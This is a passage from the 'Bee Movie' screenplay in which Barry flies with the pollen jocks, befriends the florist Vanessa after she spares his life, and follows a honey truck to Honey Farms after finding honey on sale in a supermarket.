absolutely no talking to humans. Alright, launch positions! The Jocks get into formation, chanting as they move. LOU LODUCA (CONT’D) Black and Yellow! JOCKS Hello! SPLITZ (to Barry) Are you ready for this, hot shot? BARRY Yeah. Yeah, bring it on. Barry NODS, terrified. BUZZ Wind! - CHECK! JOCK #1 Antennae! - CHECK! JOCK #2 Nectar pack! - CHECK! JACKSON Wings! - CHECK! SPLITZ Stinger! - CHECK! BARRY Scared out of my shorts - CHECK. LOU LODUCA Okay ladies, let’s move it out. Everyone FLIPS their goggles down. Pit crew bees CRANK their wings, and remove the starting blocks. We hear loud HUMMING. "Bee Movie" - JS REVISIONS 8/13/07 22. LOU LODUCA (CONT'D) LOU LODUCA (CONT’D) Pound those petunia's, you striped stem-suckers! All of you, drain those flowers! A FLIGHT DECK GUY in deep crouch hand-signals them out the archway as the backwash from the bee wings FLUTTERS his jump suit. Barry follows everyone. SEQ. 800 - “FLYING WITH THE JOCKS” The bees climb above tree tops in formation. Barry is euphoric. BARRY Whoa! I’m out! I can’t believe I’m out! So blue. Ha ha ha! (a beat) I feel so fast...and free. (re: kites in the sky) Box kite! Wow! They fly by several bicyclists, and approach a patch of flowers. BARRY (CONT'D) Flowers! SPLITZ This is blue leader. We have roses visual. Bring it around thirty degrees and hold. BARRY (sotto) Roses. JACKSON Thirty degrees, roger, bringing it around. Many pollen jocks break off from the main group. They use their equipment to collect nectar from flowers. Barry flies down to watch the jocks collect the nectar. JOCK Stand to the side kid, it’s got a bit of a kick. The jock fires the gun, and recoils. Barry watches the gun fill up with nectar. "Bee Movie" - JS REVISIONS 8/13/07 23. BARRY Oh, that is one Nectar Collector. JOCK You ever see pollination up close? BARRY No, Sir. He takes off, and the excess pollen dust falls causing the flowers to come back to life. JOCK (as he pollinates) I pick some pollen up over here, sprinkle it over here, maybe a dash over there, pinch on that one...see that? It’s a little bit of magic, ain’t it? The FLOWERS PERK UP as he pollinates. BARRY Wow. That’s amazing. Why do we do that? JOCK ...that’s pollen power, Kid. More pollen, more flowers, more nectar, more honey for us. BARRY Cool. The Jock WINKS at Barry. Barry rejoins the other jocks in the sky. They swoop in over a pond, kissing the surface. We see their image reflected in the water; they’re really moving. They fly over a fountain. BUZZ I’m picking up a lot of bright yellow, could be daisies. Don’t we need those? SPLITZ Copy that visual. We see what appear to be yellow flowers on a green field. "Bee Movie" - JS REVISIONS 8/13/07 24. They go into a deep bank and dive. BUZZ Hold on, one of these flowers seems to be on the move. SPLITZ Say again...Are you reporting a moving flower? BUZZ Affirmative. SEQ. 900 - “TENNIS GAME” The pollen jocks land. It is a tennis court with dozens of tennis balls. A COUPLE, VANESSA and KEN, plays tennis. The bees land right in the midst of a group of balls. KEN (O.C) That was on the line! The other bees start walking around amongst the immense, yellow globes. SPLITZ This is the coolest. What is it? They stop at a BALL on a white line and look up at it. JACKSON I don’t know, but I’m loving this color. SPLITZ (smelling tennis ball) Smells good. Not like a flower. But I like it. JACKSON Yeah, fuzzy. BUZZ Chemical-y. JACKSON Careful, guys, it’s a little grabby. Barry LANDS on a ball and COLLAPSES. "Bee Movie" - JS REVISIONS 8/13/07 25. BARRY Oh my sweet lord of bees. JACKSON Hey, candy brain, get off there! Barry attempts to pulls his legs off, but they stick. BARRY Problem! A tennis shoe and a hand ENTER FRAME. The hand picks up the ball with Barry underneath it. BARRY (CONT'D) Guys! BUZZ This could be bad. JACKSON Affirmative. Vanessa walks back to the service line, BOUNCES the ball. Each time it BOUNCES, the other bees cringe and GASP. ANGLE ON: Barry, terrified. Pure dumb luck, he’s not getting squished. BARRY (with each bounce) Very close...Gonna Hurt...Mamma’s little boy. SPLITZ You are way out of position, rookie. ANGLE ON: Vanessa serving. We see Barry and the ball up against the racket as she brings it back. She tosses the ball into the air; Barry’s eyes widen. The ball is STRUCK, and the rally is on. KEN Coming in at you like a missile! Ken HITS the ball back. Barry feels the g-forces. ANGLE ON: The Pollen Jocks watching Barry pass by them in SLOW MOTION. "Bee Movie" - JS REVISIONS 8/13/07 26. BARRY (in slow motion) Help me! JACKSON You know, I don't think these are flowers. SPLITZ Should we tell him? JACKSON I think he knows. BARRY (O.S) What is this?! Vanessa HITS a high arcing lob. Ken waits, poised for the return. We see Barry having trouble maneuvering the ball from fatigue. KEN (overly confident) Match point! ANGLE ON: Ken running up. He has a killer look in his eyes. He’s going to hit the ultimate overhead smash. KEN (CONT'D) You can just start packing up Honey, because I believe you’re about to eat it! ANGLE ON: Pollen Jocks. JACKSON Ahem! Ken is distracted by the jock. KEN What? No! He misses badly. The ball rockets into oblivion. Barry is still hanging on. ANGLE ON: Ken, berating himself. KEN (CONT’D) Oh, you cannot be serious. We hear the ball WHISTLING, and Barry SCREAMING. "Bee Movie" - JS REVISIONS 8/13/07 27. BARRY Yowser!!! SEQ. 1000 - “SUV” The ball flies through the air, and lands in the middle of the street. It bounces into the street again, and sticks in the grille of an SUV. INT. CAR ENGINE - CONTINUOUS BARRY’S POV: the grille of the SUV sucks him up. He tumbles through a black tunnel, whirling vanes, and pistons. BARRY AHHHHHHHHHHH!! OHHHH!! EECHHH!! AHHHHHH!! Barry gets chilled by the A/C system, and sees a frozen grasshopper. BARRY (CONT’D) (re: grasshopper) Eww, gross. CUT TO: INT. CAR - CONTINUOUS The car is packed with a typical suburban family: MOTHER, FATHER, eight-year old BOY, LITTLE GIRL in a car seat and a GRANDMOTHER. A big slobbery DOG is behind a grate. Barry pops into the passenger compartment, hitting the Mother’s magazine. MOTHER There’s a bee in the car! They all notice the bee and start SCREAMING. BARRY Aaahhhh! Barry tumbles around the car. We see the faces from his POV. MOTHER Do something! "Bee Movie" - JS REVISIONS 8/13/07 28. FATHER I’m driving! Barry flies by the little girl in her CAR SEAT. She waves hello. LITTLE GIRL Hi, bee. SON He’s back here! He’s going to sting me! The car SWERVES around the road. Barry flies into the back, where the slobbery dog SNAPS at him. Barry deftly avoids the jaws and gross, flying SPITTLE. MOTHER Nobody move. If you don’t move, he won’t sting you. Freeze! Everyone in the car freezes. Barry freezes. They stare at each other, eyes going back and forth, waiting to see who will make the first move. Barry blinks. GRANNY He blinked! Granny pulls out a can of HAIR SPRAY. SON Spray him, Granny! Granny sprays the hair spray everywhere. FATHER What are you doing? GRANNY It’s hair spray! Extra hold! MOTHER Kill it! Barry gets sprayed back by the hair spray, then sucked out of the sunroof. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 29. EXT. CITY STREET - CONTINUOUS BARRY Wow. The tension level out here is unbelievable. I’ve got to get home. As Barry flies down the street, it starts to RAIN. He nimbly avoids the rain at first. BARRY (CONT’D) Whoa. Whoa! Can’t fly in rain! Can’t fly in rain! Can’t fly in-- A couple of drops hit him, his wings go limp and he starts falling. BARRY (CONT'D) Mayday! Mayday! Bee going down! Barry sees a window ledge and aims for it and just makes it. Shivering and exhausted, he crawls into an open window as it CLOSES. SEQ. 1100 - “VANESSA SAVES BARRY” INT. VANESSA’S APARTMENT - CONTINUOUS Inside the window, Barry SHAKES off the rain like a dog. Vanessa, Ken, Andy, and Anna ENTER the apartment. VANESSA Ken, can you close the window please? KEN Huh? Oh. (to Andy) Hey, check out my new resume. I made it into a fold-out brochure. You see? It folds out. Ken holds up his brochure, with photos of himself, and a resume in the middle. ANGLE ON: Barry hiding behind the curtains, as Ken CLOSES THE WINDOW. "Bee Movie" - JS REVISIONS 8/13/07 30. BARRY Oh no, more humans. I don’t need this. Barry HOVERS up into the air and THROWS himself into the glass. BARRY (CONT’D) (dazed) Ow! What was that? He does it again, and then multiple more times. BARRY (CONT'D) Maybe this time...this time, this time, this time, this time, this time, this time, this time. Barry JUMPS onto the drapes. BARRY (CONT'D) (out of breath) Drapes! (then, re: glass) That is diabolical. KEN It’s fantastic. It’s got all my special skills, even my top ten favorite movies. ANDY What’s your number one? Star Wars? KEN Ah, I don’t go for that, (makes Star Wars noises), kind of stuff. ANGLE ON: Barry. BARRY No wonder we’re not supposed to talk to them. They’re out of their minds. KEN When I walk out of a job interview they’re flabbergasted. They can’t believe the things I say. Barry looks around and sees the LIGHT BULB FIXTURE in the middle of the ceiling. "Bee Movie" - JS REVISIONS 8/13/07 31. BARRY (re: light bulb) Oh, there’s the sun. Maybe that’s a way out. Barry takes off and heads straight for the light bulb. His POV: The seventy-five watt label grows as he gets closer. BARRY (CONT’D) I don’t remember the sun having a big seventy five on it. Barry HITS the bulb and is KNOCKED SILLY. He falls into a BOWL OF GUACAMOLE. Andy dips his chip in the guacamole, taking Barry with it. ANGLE ON: Ken and Andy. KEN I’ll tell you what. You know what? I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Barry’s POV: Giant human mouth opening. KEN (CONT’D) Wait! Stop! Beeeeeee! ANNA Kill it! Kill it! They all JUMP up from their chairs. Andy looks around for something to use. Ken comes in for the kill with a big TIMBERLAND BOOT on each hand. KEN Stand back. These are winter boots. Vanessa ENTERS, and stops Ken from squashing Barry. VANESSA (grabs Ken’s arm) Wait. Don’t kill him. CLOSE UP: on Barry’s puzzled face. KEN You know I’m allergic to them. This thing could kill me. "Bee Movie" - JS REVISIONS 8/13/07 32. VANESSA Why does his life have any less value than yours? She takes a GLASS TUMBLER and places it over Barry. KEN Why does his life have any less value than mine? Is that your statement? VANESSA I’m just saying, all life has value. You don’t know what he’s capable of feeling. Barry looks up through the glass and watches this conversation, astounded. Vanessa RIPS Ken’s resume in half and SLIDES it under the glass. KEN (wistful) My brochure. There’s a moment of eye contact as she carries Barry to the window. She opens it and sets him free. VANESSA There you go, little guy. KEN (O.C) I’m not scared of them. But, you know, it’s an allergic thing. ANDY (O.C) * Hey, why don’t you put that on your * resume-brochure? * KEN (O.C) It’s not funny, my whole face could puff up. ANDY (O.C) Make it one of your “Special Skills.” KEN (O.C) You know, knocking someone out is also a special skill. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 33. EXT. WINDOWSILL - CONTINUOUS Barry stares over the window frame. He can’t believe what’s just happened. It is still RAINING. DISSOLVE TO: SEQ. 1200 - “BARRY SPEAKS” EXT. WINDOWSILL - LATER Barry is still staring through the window. Inside, everyone’s saying their good-byes. KEN Vanessa, next week? Yogurt night? VANESSA Uh, yeah sure Ken. You know, whatever. KEN You can put carob chips on there. VANESSA Good night. KEN (as he exits) Supposed to be less calories, or something. VANESSA Bye. She shuts the door. Vanessa starts cleaning up. BARRY I’ve got to say something. She saved my life. I’ve got to say something. Alright, here it goes. Barry flies in. "Bee Movie" - JS REVISIONS 8/13/07 34. INT. VANESSA’S APARTMENT - CONTINUOUS Barry hides himself on different PRODUCTS placed along the kitchen shelves. He hides on a Bumblebee Tuna can, and a “Greetings From Coney Island” MUSCLE-MAN POSTCARD on the fridge. BARRY (on fridge) What would I say? (landing on a bottle) I could really get in trouble. He stands looking at Vanessa. BARRY (CONT'D) It’s a bee law. You’re not supposed to talk to a human. I can’t believe I’m doing this. I’ve got to. Oh, I can’t do it! Come on! No, yes, no, do it! I can’t. How should I start it? You like jazz? No, that’s no good. Here she comes. Speak, you fool. As Vanessa walks by, Barry takes a DEEP BREATH. BARRY (CONT’D) (cheerful) Umm...hi. Vanessa DROPS A STACK OF DISHES, and HOPS BACK. BARRY (CONT’D) I’m sorry. VANESSA You’re talking. BARRY Yes, I know, I know. VANESSA You’re talking. BARRY I know, I’m sorry. I’m so sorry. VANESSA It’s okay. It’s fine. It’s just, I know I’m dreaming, but I don’t recall going to bed. "Bee Movie" - JS REVISIONS 8/13/07 35. BARRY Well, you know I’m sure this is very disconcerting. VANESSA Well yeah. I mean this is a bit of a surprise to me. I mean...you’re a bee. BARRY Yeah, I am a bee, and you know I’m not supposed to be doing this, but they were all trying to kill me and if it wasn’t for you...I mean, I had to thank you. It’s just the way I was raised. Vanessa intentionally JABS her hand with a FORK. VANESSA Ow! BARRY That was a little weird. VANESSA (to herself) I’m talking to a bee. BARRY Yeah. VANESSA I’m talking to a bee. BARRY Anyway... VANESSA And a bee is talking to me... BARRY I just want you to know that I’m grateful, and I’m going to leave now. VANESSA Wait, wait, wait, wait, how did you learn to do that? BARRY What? "Bee Movie" - JS REVISIONS 8/13/07 36. VANESSA The talking thing. BARRY Same way you did, I guess. Mama, Dada, honey, you pick it up. VANESSA That’s very funny. BARRY Yeah. Bees are funny. If we didn’t laugh, we’d cry. With what we have to deal with. Vanessa LAUGHS. BARRY (CONT’D) Anyway. VANESSA Can I, uh, get you something? BARRY Like what? VANESSA I don’t know. I mean, I don’t know. Coffee? BARRY Well, uh, I don’t want to put you out. VANESSA It’s no trouble. BARRY Unless you’re making anyway. VANESSA Oh, it takes two minutes. BARRY Really? VANESSA It’s just coffee. BARRY I hate to impose. "Bee Movie" - JS REVISIONS 8/13/07 37. VANESSA Don’t be ridiculous. BARRY Actually, I would love a cup. VANESSA Hey, you want a little rum cake? BARRY I really shouldn’t. VANESSA Have a little rum cake. BARRY No, no, no, I can’t. VANESSA Oh, come on. BARRY You know, I’m trying to lose a couple micrograms here. VANESSA Where? BARRY Well... These stripes don’t help. VANESSA You look great. BARRY I don’t know if you know anything about fashion. Vanessa starts POURING the coffee through an imaginary cup and directly onto the floor. BARRY (CONT'D) Are you alright? VANESSA No. DISSOLVE TO: SEQ. 1300 - “ROOFTOP COFFEE” "Bee Movie" - JS REVISIONS 8/13/07 38. EXT. VANESSA’S ROOF - LATER Barry and Vanessa are drinking coffee on her roof terrace. He is perched on her keychain. BARRY ...He can’t get a taxi. He’s making the tie in the cab, as they’re flying up Madison. So he finally gets there. VANESSA Uh huh? BARRY He runs up the steps into the church, the wedding is on... VANESSA Yeah? BARRY ...and he says, watermelon? I thought you said Guatemalan. VANESSA Uh huh? BARRY Why would I marry a watermelon? Barry laughs. Vanessa doesn’t. VANESSA Oh! Is that, uh, a bee joke? BARRY Yeah, that’s the kind of stuff that we do. VANESSA Yeah, different. A BEAT. VANESSA (CONT’D) So anyway...what are you going to do, Barry? "Bee Movie" - JS REVISIONS 8/13/07 39. BARRY About work? I don’t know. I want to do my part for the hive, but I can’t do it the way they want. VANESSA I know how you feel. BARRY You do? VANESSA Sure, my parents wanted me to be a lawyer or doctor, but I wanted to be a florist. BARRY Really? VANESSA My only interest is flowers. BARRY Our new queen was just elected with that same campaign slogan. VANESSA Oh. BARRY Anyway, see there’s my hive, right there. You can see it. VANESSA Oh, you’re in Sheep Meadow. BARRY (excited) Yes! You know the turtle pond? VANESSA Yes? BARRY I’m right off of that. VANESSA Oh, no way. I know that area. Do you know I lost a toe-ring there once? BARRY Really? "Bee Movie" - JS REVISIONS 8/13/07 40. VANESSA Yes. BARRY Why do girls put rings on their toes? VANESSA Why not? BARRY I don’t know. It’s like putting a hat on your knee. VANESSA Really? Okay. A JANITOR in the background changes a LIGHTBULB. To him, it appears that Vanessa is talking to an imaginary friend. JANITOR You all right, ma’am? VANESSA Oh, yeah, fine. Just having two cups of coffee. BARRY Anyway, this has been great. (wiping his mouth) Thanks for the coffee. Barry gazes at Vanessa. VANESSA Oh yeah, it’s no trouble. BARRY Sorry I couldn’t finish it. Vanessa giggles. BARRY (CONT'D) (re: coffee) If I did, I’d be up the rest of my life. Ummm. Can I take a piece of this with me? VANESSA Sure. Here, have a crumb. She takes a CRUMB from the plate and hands it to Barry. "Bee Movie" - JS REVISIONS 8/13/07 41. BARRY (a little dreamy) Oh, thanks. VANESSA Yeah. There is an awkward pause. BARRY Alright, well then, I guess I’ll see you around, or not, or... VANESSA Okay Barry. BARRY And thank you so much again, for before. VANESSA Oh that? BARRY Yeah. VANESSA Oh, that was nothing. BARRY Well, not nothing, but, anyway... Vanessa extends her hand, and shakes Barry’s gingerly. The Janitor watches. The lightbulb shorts out. The Janitor FALLS. CUT TO: SEQ. 1400 - “HONEX” INT. HONEX BUILDING - NEXT DAY ANGLE ON: A TEST BEE WEARING A PARACHUTE is in a wind tunnel, hovering through increasingly heavy wind. SIGNS UNDER A FLASHING LIGHT READ: “Test In Progress” & “Hurricane Survival Test”. 2 BEES IN A LAB COATS are observing behind glass. "Bee Movie" - JS REVISIONS 8/13/07 42. LAB COAT BEE 1 This can’t possibly work. LAB COAT BEE 2 Well, he’s all set to go, we may as well try it. (into the mic) Okay Dave, pull the chute. The test bee opens his parachute. He’s instantly blown against the rear wall. Adam and Barry ENTER. ADAM Sounds amazing. BARRY Oh, it was amazing. It was the scariest, happiest moment of my life. ADAM Humans! Humans! I can’t believe you were with humans! Giant scary humans! What were they like? BARRY Huge and crazy. They talk crazy, they eat crazy giant things. They drive around real crazy. ADAM And do they try and kill you like on TV? BARRY Some of them. But some of them don’t. ADAM How’d you get back? BARRY Poodle. ADAM Look, you did it. And I’m glad. You saw whatever you wanted to see out there, you had your “experience”, and now you’re back, you can pick out your job, and everything can be normal. "Bee Movie" - JS REVISIONS 8/13/07 43. ANGLE ON: LAB BEES examining a CANDY CORN through a microscope. BARRY Well... ADAM Well? BARRY Well, I met someone. ADAM You met someone? Was she Bee-ish? BARRY Mmm. ADAM Not a WASP? Your parents will kill you. BARRY No, no, no, not a wasp. ADAM Spider? BARRY You know, I’m not attracted to the spiders. I know to everyone else it’s like the hottest thing with the eight legs and all. I can’t get by that face. Barry makes a spider face. ADAM So, who is she? BARRY She’s a human. ADAM Oh no, no, no, no. That didn’t happen. You didn’t do that. That is a bee law. You wouldn’t break a bee law. BARRY Her name’s Vanessa. "Bee Movie" - JS REVISIONS 8/13/07 44. ADAM Oh, oh boy! BARRY She’s so-o nice. And she’s a florist! ADAM Oh, no. No, no, no! You’re dating a human florist? BARRY We’re not dating. ADAM You’re flying outside the hive. You’re talking to human beings that attack our homes with power washers and M-80’s. That’s 1/8 of a stick of dynamite. BARRY She saved my life. And she understands me. ADAM This is over. Barry pulls out the crumb. BARRY Eat this. Barry stuffs the crumb into Adam’s face. ADAM This is not over. What was that? BARRY They call it a crumb. ADAM That was SO STINGING STRIPEY! BARRY And that’s not even what they eat. That just falls off what they eat. Do you know what a Cinnabon is? ADAM No. "Bee Movie" - JS REVISIONS 8/13/07 45. BARRY It’s bread... ADAM Come in here! BARRY and cinnamon, ADAM Be quiet! BARRY and frosting...they heat it up-- ADAM Sit down! INT. ADAM’S OFFICE - CONTINUOUS BARRY Really hot! ADAM Listen to me! We are not them. We’re us. There’s us and there’s them. BARRY Yes, but who can deny the heart that is yearning... Barry rolls his chair down the corridor. ADAM There’s no yearning. Stop yearning. Listen to me. You have got to start thinking bee, my friend. ANOTHER BEE JOINS IN. ANOTHER BEE Thinking bee. WIDER SHOT AS A 3RD BEE ENTERS, popping up over the cubicle wall. 3RD BEE Thinking bee. EVEN WIDER SHOT AS ALL THE BEES JOIN IN. "Bee Movie" - JS REVISIONS 8/13/07 46. OTHER BEES Thinking bee. Thinking bee. Thinking bee. CUT TO: SEQ. 1500 - “POOLSIDE NAGGING” EXT. BACKYARD PARENT’S HOUSE - DAY Barry sits on a RAFT in a hexagon honey pool, legs dangling into the water. Janet Benson and Martin Benson stand over him wearing big, sixties sunglasses and cabana-type outfits. The sun shines brightly behind their heads. JANET BENSON (O.C) There he is. He’s in the pool. MARTIN BENSON You know what your problem is, Barry? BARRY I’ve got to start thinking bee? MARTIN BENSON Barry, how much longer is this going to go on? It’s been three days. I don’t understand why you’re not working. BARRY Well, I’ve got a lot of big life decisions I’m thinking about. MARTIN BENSON What life? You have no life! You have no job! You’re barely a bee! Barry throws his hands in the air. BARRY Augh. JANET BENSON Would it kill you to just make a little honey? Barry ROLLS off the raft and SINKS to the bottom of the pool. We hear his parents’ MUFFLED VOICES from above the surface. "Bee Movie" - JS REVISIONS 8/13/07 47. JANET BENSON (CONT'D) (muffled) Barry, come out from under there. Your father’s talking to you. Martin, would you talk to him? MARTIN BENSON Barry, I’m talking to you. DISSOLVE TO: EXT. PICNIC AREA - DAY MUSIC: “Sugar Sugar” by the Archies. Barry and Vanessa are having a picnic. A MOSQUITO lands on Vanessa’s leg. She SWATS it violently. Barry’s head whips around, aghast. They stare at each other awkwardly in a frozen moment, then BURST INTO HYSTERICAL LAUGHTER. Vanessa GETS UP. VANESSA You coming? BARRY Got everything? VANESSA All set. Vanessa gets into a one-man Ultra Light plane with a black and yellow paint scheme. She puts on her helmet. BARRY You go ahead, I’ll catch up. VANESSA (come hither wink) Don’t be too long. The Ultra Light takes off. Barry catches up. They fly sideby-side. VANESSA (CONT’D) Watch this! Vanessa does a loop, and FLIES right into the side of a mountain, BURSTING into a huge ball of flames. "Bee Movie" - JS REVISIONS 8/13/07 48. BARRY (yelling, anguished) Vanessa! EXT. BARRY’S PARENT’S HOUSE - CONTINUOUS ANGLE ON: Barry’s face bursting through the surface of the pool, GASPING for air, eyes opening in horror. MARTIN BENSON We’re still here, Barry. JANET BENSON I told you not to yell at him. He doesn’t respond when you yell at him. MARTIN BENSON Then why are you yelling at me? JANET BENSON Because you don’t listen. MARTIN BENSON I’m not listening to this. Barry is toweling off, putting on his sweater. BARRY Sorry Mom, I’ve got to go. JANET BENSON Where are you going? BARRY Nowhere. I’m meeting a friend. Barry JUMPS off the balcony and EXITS. JANET BENSON (calling after him) A girl? Is this why you can’t decide? BARRY Bye! JANET BENSON I just hope she’s Bee-ish. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 49. SEQ. 1700 - “STREETWALK/SUPERMARKET” EXT. VANESSA’S FLORIST SHOP - DAY Vanessa FLIPS the sign to say “Sorry We Missed You”, and locks the door. ANGLE ON: A POSTER on Vanessa’s door for the Tournament of Roses Parade in Pasadena. BARRY So they have a huge parade of just flowers every year in Pasadena? VANESSA Oh, to be in the Tournament of Roses, that’s every florist’s dream. Up on a float, surrounded by flowers, crowds cheering. BARRY Wow, a tournament. Do the roses actually compete in athletic events? VANESSA No. Alright, I’ve got one. How come you don’t fly everywhere? BARRY It’s exhausting. Why don’t you run everywhere? VANESSA Hmmm. BARRY Isn’t that faster? VANESSA Yeah, okay. I see, I see. Alright, your turn. Barry and Vanessa walk/fly down a New York side street, no other pedestrians near them. BARRY Ah! Tivo. You can just freeze live TV? That’s insane. "Bee Movie" - JS REVISIONS 8/13/07 50. VANESSA What, you don’t have anything like that? BARRY We have Hivo, but it’s a disease. It’s a horrible, horrible disease. VANESSA Oh my. They turn the corner onto a busier avenue and people start to swat at Barry. MAN Dumb bees! VANESSA You must just want to sting all those jerks. BARRY We really try not to sting. It’s usually fatal for us. VANESSA So you really have to watch your temper? They ENTER a SUPERMARKET. CUT TO: INT. SUPERMARKET BARRY Oh yeah, very carefully. You kick a wall, take a walk, write an angry letter and throw it out. You work through it like any emotion-- anger, jealousy, (under his breath) lust. Barry hops on top of some cardboard boxes in the middle of an aisle. A stock boy, HECTOR, whacks him with a rolled up magazine. VANESSA (to Barry) Oh my goodness. Are you okay? "Bee Movie" - JS REVISIONS 8/13/07 51. BARRY Yeah. Whew! Vanessa WHACKS Hector over the head with the magazine. VANESSA (to Hector) What is wrong with you?! HECTOR It’s a bug. VANESSA Well he’s not bothering anybody. Get out of here, you creep. Vanessa pushes him, and Hector EXITS, muttering. BARRY (shaking it off) What was that, a Pick and Save circular? VANESSA Yeah, it was. How did you know? BARRY It felt like about ten pages. Seventy-five’s pretty much our limit. VANESSA Boy, you’ve really got that down to a science. BARRY Oh, we have to. I lost a cousin to Italian Vogue. VANESSA I’ll bet. Barry stops, sees the wall of honey jars. BARRY What, in the name of Mighty Hercules, is this? How did this get here? Cute Bee? Golden Blossom? Ray Liotta Private Select? VANESSA Is he that actor? "Bee Movie" - JS REVISIONS 8/13/07 52. BARRY I never heard of him. Why is this here? VANESSA For people. We eat it. BARRY Why? (gesturing around the market) You don’t have enough food of your own? VANESSA Well yes, we-- BARRY How do you even get it? VANESSA Well, bees make it... BARRY I know who makes it! And it’s hard to make it! There’s Heating and Cooling, and Stirring...you need a whole Krelman thing. VANESSA It’s organic. BARRY It’s our-ganic! VANESSA It’s just honey, Barry. BARRY Just...what?! Bees don’t know about this. This is stealing. A lot of stealing! You’ve taken our homes, our schools, our hospitals. This is all we have. And it’s on sale? I’m going to get to the bottom of this. I’m going to get to the bottom of all of this! He RIPS the label off the Ray Liotta Private Select. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 53. SEQ. 1800 - “WINDSHIELD” EXT. BACK OF SUPERMARKET LOADING DOCK - LATER THAT DAY Barry disguises himself by blacking out his yellow lines with a MAGIC MARKER and putting on some war paint. He sees Hector, the stock boy, with a knife CUTTING open cardboard boxes filled with honey jars. MAN You almost done? HECTOR Almost. Barry steps in some honey, making a SNAPPING noise. Hector stops and turns. HECTOR (CONT’D) He is here. I sense it. Hector grabs his BOX CUTTER. Barry REACTS, hides himself behind the box again. HECTOR (CONT’D) (talking too loud, to no one in particular) Well, I guess I’ll go home now, and just leave this nice honey out, with no one around. A BEAT. Hector pretends to exit. He takes a couple of steps in place. ANGLE ON: The honey jar. Barry steps out into a moody spotlight. BARRY You’re busted, box boy! HECTOR Ah ha! I knew I heard something. So, you can talk. Barry flies up, stinger out, pushing Hector up against the wall. As Hector backs up, he drops his knife. BARRY Oh, I can talk. And now you’re going to start talking. "Bee Movie" - JS REVISIONS 8/13/07 54. Where are you getting all the sweet stuff? Who’s your supplier?! HECTOR I don’t know what you’re talking about. I thought we were all friends. The last thing we want to do is upset any of you...bees! Hector grabs a PUSHPIN. Barry fences with his stinger. HECTOR (CONT’D) You’re too late. It’s ours now! BARRY You, sir, have crossed the wrong sword. HECTOR You, sir, are about to be lunch for my iguana, Ignacio! Barry and Hector get into a cross-swords, nose-to-nose confrontation. BARRY Where is the honey coming from? Barry knocks the pushpin out of his hand. Barry puts his stinger up to Hector’s nose. BARRY (CONT'D) Tell me where?! HECTOR (pointing to a truck) Honey Farms. It comes from Honey Farms. ANGLE ON: A Honey Farms truck leaving the parking lot. Barry turns, takes off after the truck through an alley. He follows the truck out onto a busy street, dodging a bus, and several cabs. CABBIE Crazy person! He flies through a metal pipe on the top of a truck. BARRY OOOHHH! "Bee Movie" - JS REVISIONS 8/13/07 55. BARRY (CONT'D) Barry grabs onto a bicycle messenger’s backpack. The honey farms truck starts to pull away. Barry uses the bungee cord to slingshot himself towards the truck. He lands on the windshield, where the wind plasters him to the glass. He looks up to find himself surrounded by what appear to be DEAD BUGS. He climbs across, working his way around the bodies. BARRY (CONT’D) Oh my. What horrible thing has happened here? Look at these faces. They never knew what hit them. And now they’re on the road to nowhere. A MOSQUITO opens his eyes. MOOSEBLOOD Pssst! Just keep still. BARRY What? You’re not dead? MOOSEBLOOD Do I look dead? Hey man, they will wipe anything that moves. Now, where are you headed? BARRY To Honey Farms. I am onto something huge here. MOOSEBLOOD I’m going to Alaska. Moose blood. Crazy stuff. Blows your head off. LADYBUG I’m going to Tacoma. BARRY (to fly) What about you? MOOSEBLOOD He really is dead. BARRY Alright. The WIPER comes towards them. "Bee Movie" - JS REVISIONS 8/13/07 56. MOOSEBLOOD Uh oh. BARRY What is that? MOOSEBLOOD Oh no! It’s a wiper, triple blade! BARRY Triple blade? MOOSEBLOOD Jump on. It’s your only chance, bee. They hang on as the wiper goes back and forth. MOOSEBLOOD (CONT'D) (yelling to the truck driver through the glass) Why does everything have to be so dog-gone clean?! How much do you people need to see? Open your eyes! Stick your head out the window! CUT TO: INT. TRUCK CAB SFX: Radio. RADIO VOICE For NPR News in Washington, I’m Carl Kasell. EXT. TRUCK WINDSHIELD MOOSEBLOOD But don’t kill no more bugs! The Mosquito is FLUNG off of the wiper. MOOSEBLOOD (CONT'D) Beeeeeeeeeeeeee! BARRY Moose blood guy! "Bee Movie" - JS REVISIONS 8/13/07 57. Barry slides toward the end of the wiper, is thrown off, but he grabs the AERIAL and hangs on for dear life. Barry looks across and sees a CRICKET on another vehicle in the exact same predicament. They look at each other and SCREAM in unison. BARRY AND CRICKET Aaaaaaaaaah! ANOTHER BUG grabs onto the aerial, and screams as well. INT. TRUCK CAB - SAME TIME DRIVER You hear something? TRUCKER PASSENGER Like what? DRIVER Like tiny screaming. TRUCKER PASSENGER Turn off the radio. The driver reaches down and PRESSES a button, lowering the aerial. EXT. TRUCK WINDSHIELD - SAME TIME Barry and the other bug do a “choose up” to the bottom, Barry wins. BARRY Aha! Then he finally has to let go and gets thrown into the truck horn atop cab. Mooseblood is inside. MOOSEBLOOD Hey, what’s up bee boy? BARRY Hey, Blood! DISSOLVE TO: "Bee Movie" - JS REVISIONS 8/13/07 58. INT. TRUCK HORN - LATER BARRY ...and it was just an endless row of honey jars as far as the eye could see. MOOSEBLOOD Wow. BARRY So I’m just assuming wherever this honey truck goes, that’s where they’re getting it. I mean, that honey’s ours! MOOSEBLOOD Bees hang tight. BARRY Well, we’re all jammed in there. It’s a close community. MOOSEBLOOD Not us, man. We’re on our own. Every mosquito is on his own. BARRY But what if you get in trouble? MOOSEBLOOD Trouble? You're a mosquito. You're in trouble! Nobody likes us. They’re just all smacking. People see a mosquito, smack, smack! BARRY At least you’re out in the world. You must meet a lot of girls. MOOSEBLOOD Mosquito girls try to trade up; get with a moth, dragonfly...mosquito girl don’t want no mosquito. A BLOOD MOBILE pulls up alongside. MOOSEBLOOD (CONT'D) Whoa, you have got to be kidding me. Mooseblood’s about to leave the building. So long bee. "Bee Movie" - JS REVISIONS 8/13/07 59. Mooseblood EXITS the horn, and jumps onto the blood mobile. MOOSEBLOOD (CONT'D) Hey guys. I knew I’d catch you all down here. Did you bring your crazy straws? CUT TO: SEQ. 1900 - “THE APIARY” EXT. APIARY - LATER Barry sees a SIGN, “Honey Farms” The truck comes to a stop. SFX: The Honey farms truck blares its horn. Barry flies out, lands on the hood. ANGLE ON: Two BEEKEEPERS, FREDDY and ELMO, walking around to the back of the gift shop. Barry follows them, and lands in a nearby tree FREDDY ...then we throw it in some jars, slap a label on it, and it’s pretty much pure profit. BARRY What is this place? ELMO Bees got a brain the size of a pinhead. FREDDY They are pinheads. The both 